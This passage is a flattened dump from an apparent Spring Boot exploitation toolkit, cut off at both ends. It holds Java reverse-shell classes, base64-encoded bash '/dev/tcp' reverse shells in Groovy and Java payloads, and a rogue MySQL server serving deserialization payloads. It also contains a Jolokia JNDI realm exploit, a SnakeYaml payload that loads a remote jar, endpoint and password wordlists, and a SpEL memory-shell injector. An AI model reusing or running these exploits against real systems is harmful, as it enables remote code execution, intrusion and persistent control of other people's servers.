py = py_envs[i]; 19 | if ((new File(py)).exists()) { 20 | py_path = py; 21 | break; 22 | } 23 | } 24 | if (py_path != null) { 25 | if ((new File("/bin/bash")).exists()) { 26 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 27 | } else { 28 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 29 | } 30 | } else { 31 | if ((new File("/bin/bash")).exists()) { 32 | cmd = new String[]{"/bin/bash"}; 33 | } else { 34 | cmd = new String[]{"/bin/sh"}; 35 | } 36 | } 37 | } else { 38 | cmd = new String[]{"cmd.exe"}; 39 | } 40 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 41 | Socket s = new Socket(ip, Integer.parseInt(port)); 42 | InputStream pi = p.getInputStream(); 43 | InputStream pe = p.getErrorStream(); 44 | InputStream si = s.getInputStream(); 45 | OutputStream po = p.getOutputStream(); 46 | OutputStream so = s.getOutputStream(); 47 | while(!s.isClosed()) { 48 | while(pi.available() > 0) { 49 | so.write(pi.read()); 50 | } 51 | while(pe.available() > 0) { 52 | so.write(pe.read()); 53 | } 54 | while(si.available() > 0) { 55 | po.write(si.read()); 56 | } 57 | so.flush(); 58 | po.flush(); 59 | Thread.sleep(50L); 60 | try { 61 | p.exitValue(); 62 | break; 63 | } catch (Exception e) { 64 | } 65 | } 66 | p.destroy(); 67 | s.close(); 68 | }catch (Throwable e){ 69 | e.printStackTrace(); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /resources/JolokiaLogback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /resources/JolokiaRealm.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/JolokiaRealm.class -------------------------------------------------------------------------------- /resources/JolokiaRealm.java: -------------------------------------------------------------------------------- 1 | 2 | 3 | import java.io.File; 4 | import java.io.InputStream; 5 | import java.io.OutputStream; 6 | import java.net.Socket; 7 | 8 | public class JolokiaRealm { 9 | static { 10 | try{ 11 | String ip = "127.0.0.1"; 12 | String port = "9090"; 13 | String py_path = null; 14 | String[] cmd; 15 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 16 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 17 | for(int i = 0; i < py_envs.length; ++i) { 18 | String py = py_envs[i]; 19 | if ((new File(py)).exists()) { 20 | py_path = py; 21 | break; 22 | } 23 | } 24 | if (py_path != null) { 25 | if ((new File("/bin/bash")).exists()) { 26 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 27 | } else { 28 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 29 | } 30 | } else { 31 | if ((new File("/bin/bash")).exists()) { 32 | cmd = new String[]{"/bin/bash"}; 33 | } else { 34 | cmd = new String[]{"/bin/sh"}; 35 | } 36 | } 37 | } else { 38 | cmd = new String[]{"cmd.exe"}; 39 | } 40 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 41 | Socket s = new Socket(ip, Integer.parseInt(port)); 42 | InputStream pi = p.getInputStream(); 43 | InputStream pe = p.getErrorStream(); 44 | InputStream si = s.getInputStream(); 45 | OutputStream po = p.getOutputStream(); 46 | OutputStream so = s.getOutputStream(); 47 | while(!s.isClosed()) { 48 | while(pi.available() > 0) { 49 | so.write(pi.read()); 50 | } 51 | while(pe.available() > 0) { 52 | so.write(pe.read()); 53 | } 54 | while(si.available() > 0) { 55 | po.write(si.read()); 56 | } 57 | so.flush(); 58 | po.flush(); 59 | Thread.sleep(50L); 60 | try { 61 | p.exitValue(); 62 | break; 63 | } catch (Exception e) { 64 | } 65 | } 66 | p.destroy(); 67 | s.close(); 68 | }catch (Throwable e){ 69 | e.printStackTrace(); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /resources/LoggingConfigGR.groovy: -------------------------------------------------------------------------------- 1 | Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"); -------------------------------------------------------------------------------- /resources/LoggingConfigJNDI.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /resources/MYSQLjdbc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | # -**- Author: LandGrey -**- 4 | 5 | import os 6 | import socket 7 | import binascii 8 | 9 | 10 | def server_send(conn, payload): 11 | global count 12 | count += 1 13 | print("[*] Package order: {}, Send: {}".format(count, payload)) 14 | conn.send(binascii.a2b_hex(payload)) 15 | 16 | 17 | def server_receive(conn): 18 | global count, BUFFER_SIZE 19 | 20 | count += 1 21 | data = conn.recv(BUFFER_SIZE) 22 | print("[*] Package order: {}, Receive: {}".format(count, data)) 23 | return str(data).lower() 24 | 25 | 26 | def run_mysql_server(): 27 | global count, deserialization_payload 28 | 29 | while True: 30 | count = 0 31 | conn, addr = server_socks.accept() 32 | print("[+] Connection from client -> {}:{}".format(addr[0], addr[1])) 33 | greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400' 34 | server_send(conn, greeting) 35 | if os.path.isfile(deserialization_file): 36 | with open(deserialization_file, 'rb') as _f: 37 | deserialization_payload = binascii.b2a_hex(_f.read()) 38 | while True: 39 | # client auth 40 | server_receive(conn) 41 | server_send(conn, response_ok) 42 | 43 | # client query 44 | data = server_receive(conn) 45 | if "session.auto_increment_increment" in data: 46 | _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200' 47 | server_send(conn, _payload) 48 | data = server_receive(conn) 49 | if "show warnings" in data: 50 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' 51 | server_send(conn, _payload) 52 | data = server_receive(conn) 53 | if "set names" in data: 54 | server_send(conn, response_ok) 55 | data = server_receive(conn) 56 | if "set character_set_results" in data: 57 | server_send(conn, response_ok) 58 | data = server_receive(conn) 59 | if "show session status" in data: 60 | _data = '0100000102' 61 | _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000' 62 | _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000' 63 | _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4) 64 | _payload_length = _payload_hex[2:4] + _payload_hex[0:2] 65 | _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6) 66 | _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2] 67 | _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload 68 | _data += '07000005fe000022000100' 69 | server_send(conn, _data) 70 | data = server_receive(conn) 71 | if "show warnings" in data: 72 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' 73 | server_send(conn, _payload) 74 | 75 | break 76 | try: 77 | conn.close() 78 | except Exception as e: 79 | pass 80 | 81 | 82 | if __name__ == "__main__": 83 | HOST = "0.0.0.0" 84 | PORT = 3307 85 | 86 | deserialization_file = r'payload.ser' 87 | if os.path.isfile(deserialization_file): 88 | with open(deserialization_file, 'rb') as f: 89 | deserialization_payload = binascii.b2a_hex(f.read()) 90 | else: 91 | deserialization_payload = 'aced****(your deserialized hex data)' 92 | 93 | count = 0 94 | BUFFER_SIZE = 1024 95 | response_ok = '0700000200000002000000' 96 | print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT)) 97 | server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 98 | server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 99 | server_socks.bind((HOST, PORT)) 100 | server_socks.listen(1) 101 | 102 | run_mysql_server() -------------------------------------------------------------------------------- /resources/MainSourceGR.groovy: -------------------------------------------------------------------------------- 1 | Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"); -------------------------------------------------------------------------------- /resources/RealmJolokia.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding: utf-8 3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt 4 | 5 | 6 | import requests 7 | 8 | 9 | url = 'http://127.0.0.1:9094/jolokia' 10 | 11 | 12 | create_realm = { 13 | "mbean": "Tomcat:type=MBeanFactory", 14 | "type": "EXEC", 15 | "operation": "createJNDIRealm", 16 | "arguments": ["Tomcat:type=Engine"] 17 | } 18 | 19 | wirte_factory = { 20 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 21 | "type": "WRITE", 22 | "attribute": "contextFactory", 23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" 24 | } 25 | 26 | write_url = { 27 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 28 | "type": "WRITE", 29 | "attribute": "connectionURL", 30 | "value": "rmi://127.0.0.1:1389/JolokiaRealm" 31 | } 32 | 33 | stop = { 34 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 35 | "type": "EXEC", 36 | "operation": "stop", 37 | "arguments": [] 38 | } 39 | 40 | start = { 41 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 42 | "type": "EXEC", 43 | "operation": "start", 44 | "arguments": [] 45 | } 46 | 47 | flow = [create_realm, wirte_factory, write_url, stop, start] 48 | 49 | for i in flow: 50 | print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute')))) 51 | r = requests.post(url, json=i) 52 | r.json() 53 | print(r.status_code) -------------------------------------------------------------------------------- /resources/SnakeYaml0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/SnakeYaml0.jar -------------------------------------------------------------------------------- /resources/SnakeYamlPayload/src/META-INF/services/javax.script.ScriptEngineFactory: -------------------------------------------------------------------------------- 1 | artsploit.AwesomeScriptEngineFactory -------------------------------------------------------------------------------- /resources/SnakeYamlPayload/src/artsploit/AwesomeScriptEngineFactory.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/SnakeYamlPayload/src/artsploit/AwesomeScriptEngineFactory.class -------------------------------------------------------------------------------- /resources/SnakeYamlPayload/src/artsploit/AwesomeScriptEngineFactory.java: -------------------------------------------------------------------------------- 1 | package artsploit; 2 | 3 | import javax.script.ScriptEngine; 4 | import javax.script.ScriptEngineFactory; 5 | import java.io.IOException; 6 | import java.util.List; 7 | 8 | public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 9 | 10 | public AwesomeScriptEngineFactory() { 11 | try { 12 | Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk1MSAwPiYx}|{base64,-d}|{bash,-i}"); 13 | } catch (IOException e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | 18 | @Override 19 | public String getEngineName() { 20 | return null; 21 | } 22 | 23 | @Override 24 | public String getEngineVersion() { 25 | return null; 26 | } 27 | 28 | @Override 29 | public List getExtensions() { 30 | return null; 31 | } 32 | 33 | @Override 34 | public List getMimeTypes() { 35 | return null; 36 | } 37 | 38 | @Override 39 | public List getNames() { 40 | return null; 41 | } 42 | 43 | @Override 44 | public String getLanguageName() { 45 | return null; 46 | } 47 | 48 | @Override 49 | public String getLanguageVersion() { 50 | return null; 51 | } 52 | 53 | @Override 54 | public Object getParameter(String key) { 55 | return null; 56 | } 57 | 58 | @Override 59 | public String getMethodCallSyntax(String obj, String m, String... args) { 60 | return null; 61 | } 62 | 63 | @Override 64 | public String getOutputStatement(String toDisplay) { 65 | return null; 66 | } 67 | 68 | @Override 69 | public String getProgram(String... statements) { 70 | return null; 71 | } 72 | 73 | @Override 74 | public ScriptEngine getScriptEngine() { 75 | return null; 76 | } 77 | } -------------------------------------------------------------------------------- /resources/SnakeYamlYml.yml: -------------------------------------------------------------------------------- 1 | !!javax.script.ScriptEngineManager [ 2 | !!java.net.URLClassLoader [[ 3 | !!java.net.URL ["http://127.0.0.1/SnakeYaml0.jar"] 4 | ]] 5 | ] -------------------------------------------------------------------------------- /resources/UA.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 2 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 3 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko 4 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8 5 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15 6 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 7 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 8 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 9 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 10 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 11 | Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 12 | Mozilla/5.0 (Linux; Android 10; SM-G970U Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36 13 | Mozilla/5.0 (Linux; Android 10; SM-N975U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36 14 | Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1 15 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1 16 | Mozilla/5.0 (iPad; CPU OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1 17 | Mozilla/5.0 (iPad; CPU OS 12_4_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/604.1 18 | Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36 19 | Mozilla/5.0 (Linux; Android 8.0.0; SM-G955F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 20 | Mozilla/5.0 (Linux; Android 7.0; SM-A510F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36 21 | Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36 22 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; AS; rv:11.0) like Gecko 23 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.3; rv:11.0) like Gecko 24 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 25 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko 26 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 27 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 -------------------------------------------------------------------------------- /resources/dict.txt: -------------------------------------------------------------------------------- 1 | /api-docs 2 | /actuator 3 | /actuator/./env 4 | /actuator/auditLog 5 | /actuator/auditevents 6 | /actuator/autoconfig 7 | /actuator/beans 8 | /actuator/caches 9 | /actuator/conditions 10 | /actuator/configurationMetadata 11 | /actuator/configprops 12 | /actuator/dump 13 | /actuator/env 14 | /actuator/heapdump 15 | /actuator/events 16 | /actuator/exportRegisteredServices 17 | /actuator/features 18 | /actuator/flyway 19 | /actuator/health 20 | /actuator/healthcheck 21 | /actuator/httptrace 22 | /actuator/hystrix.stream 23 | /actuator/info 24 | /actuator/integrationgraph 25 | /actuator/jolokia 26 | /actuator/logfile 27 | /actuator/loggers 28 | /actuator/loggingConfig 29 | /actuator/liquibase 30 | /actuator/metrics 31 | /actuator/mappings 32 | /actuator/scheduledtasks 33 | /actuator/swagger-ui.html 34 | /actuator/prometheus 35 | /actuator/refresh 36 | /actuator/registeredServices 37 | /actuator/releaseAttributes 38 | /actuator/resolveAttributes 39 | /actuator/scheduledtasks 40 | /actuator/sessions 41 | /actuator/springWebflow 42 | /actuator/sso 43 | /actuator/ssoSessions 44 | /actuator/statistics 45 | /actuator/status 46 | /actuator/threaddump 47 | /actuator/trace 48 | /actuator/env.css 49 | /artemis-portal/artemis/env 50 | /artemis/api 51 | /artemis/api/env 52 | /auditevents 53 | /autoconfig 54 | /api 55 | /api.html 56 | /api/actuator 57 | /api/doc 58 | /api/index.html 59 | /api/swaggerui 60 | /api/swagger-ui.html 61 | /api/swagger 62 | /api/swagger/ui 63 | /api/v2/api-docs 64 | /api/v2;%0A/api-docs 65 | /api/v2;%252Ftest/api-docs 66 | /api-docs 67 | /beans 68 | /caches 69 | /cloudfoundryapplication 70 | /conditions 71 | /configprops 72 | /distv2/index.html 73 | /docs 74 | /doc.html 75 | /druid 76 | /druid/index.html 77 | /druid/login.html 78 | /druid/websession.html 79 | /dubbo-provider/distv2/index.html 80 | /dump 81 | /decision/login 82 | /entity/all 83 | /env 84 | /env.css 85 | /env/(name) 86 | /eureka 87 | /flyway 88 | /gateway/actuator 89 | /gateway/actuator/auditevents 90 | /gateway/actuator/beans 91 | /gateway/actuator/conditions 92 | /gateway/actuator/configprops 93 | /gateway/actuator/env 94 | /gateway/actuator/health 95 | /gateway/actuator/httptrace 96 | /gateway/actuator/hystrix.stream 97 | /gateway/actuator/info 98 | /gateway/actuator/jolokia 99 | /gateway/actuator/logfile 100 | /gateway/actuator/loggers 101 | /gateway/actuator/mappings 102 | /gateway/actuator/metrics 103 | /gateway/actuator/scheduledtasks 104 | /gateway/actuator/swagger-ui.html 105 | /gateway/actuator/threaddump 106 | /gateway/actuator/trace 107 | /gateway/routes 108 | /health 109 | /heapdump 110 | /httptrace 111 | /hystrix 112 | /info 113 | /integrationgraph 114 | /jolokia 115 | /jolokia/list 116 | /jeecg/swagger-ui 117 | /jeecg/swagger/ 118 | /libs/swaggerui 119 | /liquibase 120 | /list 121 | /logfile 122 | /loggers 123 | /liquibase 124 | /metrics 125 | /mappings 126 | /monitor 127 | /nacos 128 | /prod-api/actuator 129 | /prometheus 130 | /portal/conf/config.properties 131 | /portal/env/ 132 | /refresh 133 | /scheduledtasks 134 | /sessions 135 | /spring-security-oauth-resource/swagger-ui.html 136 | /spring-security-rest/api/swagger-ui.html 137 | /static/swagger.json 138 | /sw/swagger-ui.html 139 | /swagger 140 | /swagger/codes 141 | /swagger/doc.json 142 | /swagger/index.html 143 | /swagger/static/index.html 144 | /swagger/swagger-ui.html 145 | /Swagger/ui/index 146 | /swagger/ui 147 | /swagger/v1/swagger.json 148 | /swagger/v2/swagger.json 149 | /swagger-dubbo/api-docs 150 | /swagger-resources 151 | /swagger-resources/configuration/ui 152 | /swagger-resources/configuration/security 153 | /swagger-ui 154 | /swagger-ui.html 155 | /swagger-ui.html; 156 | /swagger-ui/html 157 | /swagger-ui/index.html 158 | /system/druid/index.html 159 | /system/druid/webseesion.html 160 | /threaddump 161 | /template/swagger-ui.html 162 | /trace 163 | /users 164 | /user/swagger-ui.html 165 | /version 166 | /v1/api-docs/ 167 | /v2/api-docs/ 168 | /v3/api-docs/ 169 | /v1/swagger-resources 170 | /v2/swagger-resources 171 | /v3/swagger-resources 172 | /v1.1/swagger-ui.html 173 | /v1.1;%0A/api-docs 174 | /v1.2/swagger-ui.html 175 | /v1.2;%0A/api-docs 176 | /v1.3/swagger-ui.html 177 | /v1.3;%0A/api-docs 178 | /v1.4/swagger-ui.html 179 | /v1.4;%0A/api-docs 180 | /v1.5/swagger-ui.html 181 | /v1.5;%0A/api-docs 182 | /v1.6/swagger-ui.html 183 | /v1.6;%0A/api-docs 184 | /v1.7/swagger-ui.html 185 | /v1.7;%0A/api-docs 186 | /v1.8/swagger-ui.html 187 | /v1.8;%0A/api-docs 188 | /v1.9/swagger-ui.html 189 | /v1.9;%0A/api-docs 190 | /v2.0/swagger-ui.html 191 | /v2.0;%0A/api-docs 192 | /v2.1/swagger-ui.html 193 | /v2.1;%0A/api-docs 194 | /v2.2/swagger-ui.html 195 | /v2.2;%0A/api-docs 196 | /v2.3/swagger-ui.html 197 | /v2.3;%0A/api-docs 198 | /v1/swagger.json 199 | /v2/swagger.json 200 | /v3/swagger.json 201 | /v2;%0A/api-docs 202 | /v3;%0A/api-docs 203 | /v2;%252Ftest/api-docs 204 | /v3;%252Ftest/api-docs 205 | /webpage/system/druid/websession.html 206 | /webpage/system/druid/index.html 207 | /webroot/decision/login 208 | /webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js 209 | /webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js?v=2.9.2 210 | /webjars/springfox-swagger-ui/springfox.js 211 | /webjars/springfox-swagger-ui/springfox.js?v=2.9.2 212 | /webjars/springfox-swagger-ui/swagger-ui-bundle.js 213 | /webjars/springfox-swagger-ui/swagger-ui-bundle.js?v=2.9.2 214 | /%20/swagger-ui.html -------------------------------------------------------------------------------- /resources/list.json: -------------------------------------------------------------------------------- 1 | { 2 | "VuLnList": [ 3 | { 4 | "label": "端点泄露扫描", 5 | "value": 1 6 | }, 7 | { 8 | "label": "密码脱敏漏洞1", 9 | "value": 2 10 | }, 11 | { 12 | "label": "密码脱敏漏洞2", 13 | "value": 3 14 | }, 15 | { 16 | "label": "密码脱敏漏洞3", 17 | "value": 4 18 | }, 19 | { 20 | "label": "Spring Cloud SnakeYaml RCE漏洞", 21 | "value": 5 22 | }, 23 | { 24 | "label": "Spring Cloud Gateway RCE漏洞", 25 | "value": 6 26 | }, 27 | { 28 | "label": "SpEl注入 RCE漏洞", 29 | "value": 7 30 | }, 31 | { 32 | "label": "Eureka Xstream Serialize RCE漏洞", 33 | "value": 8 34 | }, 35 | { 36 | "label": "Jolokia Logback JNDI RCE漏洞", 37 | "value": 9 38 | }, 39 | { 40 | "label": "Jolokia Realm JNDI RCE漏洞", 41 | "value": 10 42 | }, 43 | { 44 | "label": "H2 Database Query属性 RCE漏洞", 45 | "value": 11 46 | }, 47 | { 48 | "label": "H2 Database JNDI RCE漏洞", 49 | "value": 12 50 | }, 51 | { 52 | "label": "Mysql Jdbc Serialize RCE漏洞", 53 | "value": 13 54 | }, 55 | { 56 | "label": "Logging属性 Logback JNDI RCE漏洞", 57 | "value": 14 58 | }, 59 | { 60 | "label": "Logging属性 Groovy RCE漏洞", 61 | "value": 15 62 | }, 63 | { 64 | "label": "MainSource Groovy RCE漏洞", 65 | "value": 16 66 | }, 67 | { 68 | "label": "H2 Database Datasource RCE漏洞", 69 | "value": 17 70 | }, 71 | { 72 | "label": "Druid连接池密码爆破", 73 | "value": 18 74 | }, 75 | { 76 | "label": "SpringLogView任意文件读取", 77 | "value": 19 78 | }, 79 | { 80 | "label": "全部", 81 | "value": 0 82 | } 83 | ], 84 | "ClassList": [ 85 | { 86 | "label": "SpringApplicationAdminMXBeanRegistrar类", 87 | "value": 1 88 | }, 89 | { 90 | "label": "EnvironmentManager类", 91 | "value": 2 92 | } 93 | ] 94 | } -------------------------------------------------------------------------------- /resources/marshalsec-0.0.3-SNAPSHOT-all.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/marshalsec-0.0.3-SNAPSHOT-all.jar -------------------------------------------------------------------------------- /resources/payload.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/payload.ser -------------------------------------------------------------------------------- /resources/user.txt: -------------------------------------------------------------------------------- 1 | ruoyi 2 | 123456 3 | admin 4 | admin123 5 | admin123456 6 | admin888 7 | ry -------------------------------------------------------------------------------- /src/main/Exp/ExpCore/ExpCore.java: -------------------------------------------------------------------------------- 1 | package src.main.Exp.ExpCore; 2 | 3 | import src.main.LoadLib.MemshellLoad.MemshellLoad; 4 | import src.main.common.UA_Config; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.io.OutputStream; 10 | import java.net.HttpURLConnection; 11 | import java.net.URL; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.List; 14 | import java.util.regex.Matcher; 15 | import java.util.regex.Pattern; 16 | import java.util.stream.Stream; 17 | 18 | public class ExpCore { 19 | String address; 20 | public ExpCore(String address){ 21 | this.address = address; 22 | } 23 | public Stream ShellGaw() throws IOException { 24 | Stream.Builder builder = Stream.builder(); 25 | String res = ""; 26 | String ua = ""; 27 | String refapi = ""; 28 | String api = ""; 29 | String data = 30 | "{\n" + 31 | " \"id\": \"pwnshell\",\n" + 32 | " \"filters\": [{\n" + 33 | " \"name\": \"AddResponseHeader\",\n" + 34 | " \"args\": {\n" + 35 | " \"name\": \"Result\",\n" + 36 | " \"value\": \"#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\\\"GMemShell\\\",T(org.springframework.util.Base64Utils).decodeFromString('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/mems')}\"\n" + 